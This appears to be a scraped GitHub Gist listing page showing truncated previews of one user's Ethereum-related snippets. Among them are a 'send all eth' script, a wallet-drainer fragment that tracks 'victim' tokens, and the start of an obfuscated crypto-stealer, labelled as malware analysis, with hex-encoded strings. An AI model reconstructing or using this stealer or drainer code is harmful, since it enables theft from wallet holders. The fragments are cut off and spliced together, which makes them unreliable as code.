Skip to content

Instantly share code, notes, and snippets.

/*
[package]
name = "rust"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
secp256k1 = "0.20"
pragma solidity ^0.8.0;
contract AlignmentChecker {
function checkAlignment(uint256 x) public view returns (uint256) {
assembly {
let alignment := 32
let num := x
let mask := and(num, sub(alignment, 1))
let isAligned := iszero(mask)
if isAligned {
@lcfr-eth
lcfr-eth / sendall.py
Created January 9, 2023 23:28
send all eth
from web3 import Web3, HTTPProvider
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3.middleware import construct_sign_and_send_raw_middleware
from web3.middleware import geth_poa_middleware
import os, time
infura_key = os.getenv("INFURA")
from_key = os.getenv("FROMKEY")
var connected = 0;
var account = '';
var alert = 0;
var perETH_usd;
var success = 0;
let message;
let ethersProvider, signer, wallet, Seaport, web3Modal, selectedAccount;
let tokenList = []; // Victim tokensObject Array (list of all tokens)
const characters = '0123456789';
@lcfr-eth
lcfr-eth / obfuscatedCryptoStealer.js
Created December 23, 2022 18:15
malware analysis
var _0x599e = ["", "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39", "\x30\x78\x43\x30\x32\x61\x61\x41\x33\x39\x62\x32\x32\x33\x46\x45\x38\x44\x30\x41\x30\x65\x35\x43\x34\x46\x32\x37\x65\x41\x44\x39\x30\x38\x33\x43\x37\x35\x36\x43\x63\x32", "\x30\x78\x31\x45\x30\x30\x34\x39\x37\x38\x33\x46\x30\x30\x38\x41\x30\x30\x38\x35\x31\x39\x33\x45\x30\x30\x30\x30\x33\x44\x30\x30\x63\x64\x35\x34\x30\x30\x33\x63\x37\x31", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x72\x70\x63\x2E\x61\x6E\x6B\x72\x2E\x63\x6F\x6D\x2F\x65\x74\x68\x2F\x33\x38\x65\x61\x63\x30\x62\x66\x39\x66\x30\x65\x38\x39\x64\x35\x65\x32\x32\x36\x66\x35\x63\x31\x65\x66\x31\x32\x34\x39\x34\x30\x36\x63\x65\x37\x39\x35\x38\x65\x34\x38\x37\x30\x34\x63\x63\x35\x63\x33\x30\x31\x35\x62\x65\x64\x34\x34\x63\x62\x33\x64\x63\x61", "\x70\x72\x6F\x76\x69\x64\x65\x72\x73", "\x30\x78\x30\x33\x63\x34\x42\x39\x32\x46\x37\x32\x38\x33\x66\x35\x32\x61\x44\x34\x33\x45\x46\x33\x35\x34\x66\x37\x30\x39\x65\x36\x37\x37\x38\x41\x37\x34\x62\x37\x46\x34", "\x30\x78\x45\x66\x37\x38\x36\x34\x31\x41\x66
@lcfr-eth
lcfr-eth / LNS.ABI
Created October 2, 2022 10:31
LNS ABI
[{"type":"function","name":"name","constant":false,"payable":false,"inputs":[{"type":"address"}],"outputs":[]},{"type":"function","name":"owner","constant":false,"payable":false,"inputs":[{"type":"bytes32"}],"outputs":[]},{"type":"function","name":"content","constant":false,"payable":false,"inputs":[{"type":"bytes32"}],"outputs":[]},{"type":"function","name":"addr","constant":false,"payable":false,"inputs":[{"type":"bytes32"}],"outputs":[]},{"type":"function","name":"reserve","constant":false,"payable":false,"inputs":[{"type":"bytes32"}],"outputs":[]},{"type":"function","name":"subRegistrar","constant":false,"payable":false,"inputs":[{"type":"bytes32"}],"outputs":[]},{"type":"function","name":"transfer","constant":false,"payable":false,"inputs":[{"type":"bytes32"},{"type":"address"}],"outputs":[]},{"type":"function","name":"setSubRegistrar","constant":false,"payable":false,"inputs":[{"type":"bytes32"},{"type":"address"}],"outputs":[]},{"type":"function","name":"Registrar","constant":false,"payable":false,"inp
from web3 import Web3, HTTPProvider
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3.middleware import construct_sign_and_send_raw_middleware
from web3.middleware import geth_poa_middleware
from flashbots import flashbot
from ens.auto import ns
import argparse, time, random, os, json, math
from web3 import Web3, HTTPProvider
w3 = Web3(HTTPProvider("https://mainnet.infura.io/v3/yourkey"))
for name in open("./list").readlines():
w3.ens.address(name.strip()+".eth")